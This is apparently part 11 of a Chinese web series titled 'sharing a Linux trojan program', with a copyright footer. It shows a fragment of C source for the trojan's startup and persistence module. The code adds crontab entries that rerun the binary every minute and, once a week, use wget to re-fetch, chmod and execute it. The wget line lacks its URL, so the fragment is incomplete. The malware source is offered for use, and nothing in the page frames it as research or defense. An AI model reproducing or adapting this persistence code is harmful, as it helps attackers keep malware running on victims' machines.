Linux 下一木马程序分享(11)

sprintf(cron,"* * * * * ");
                if (strcmp(cwd,"/")) {
                        while(argv[0][i] != '/') i--;
                        sprintf(outfile,"%s%s",cwd,argv[0]+i);
                        while(!feof(file)) {
                                fgets(buf,1024,file);
                                if (!strcasecmp(buf,outfile)) d++;
                        }
                strcat(cron,outfile);
                strcat(cron," >/dev/null 2>&1\n");
                sprintf(tmp,"@weekly wget -O %s;chmod +x %s;%s >/dev/null 2>&1\n",outfile,outfile,outfile);
                strcat(cron,tmp);
                if (d == 0) {
                                FILE *out;
                                fclose(file);
                                out=fopen(str,"a");
                                if (out != NULL) {
                                        fputs(cron,out);
                                        fclose(out);
                                }
                        system("crontab /tmp/cron;rm -rf /tmp/cron");
                        }
                        else fclose(file);
                }
                else fclose(file);
        }
#endif


/* end of startup / cron mod */

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://127.0.0.1/wyyszz.html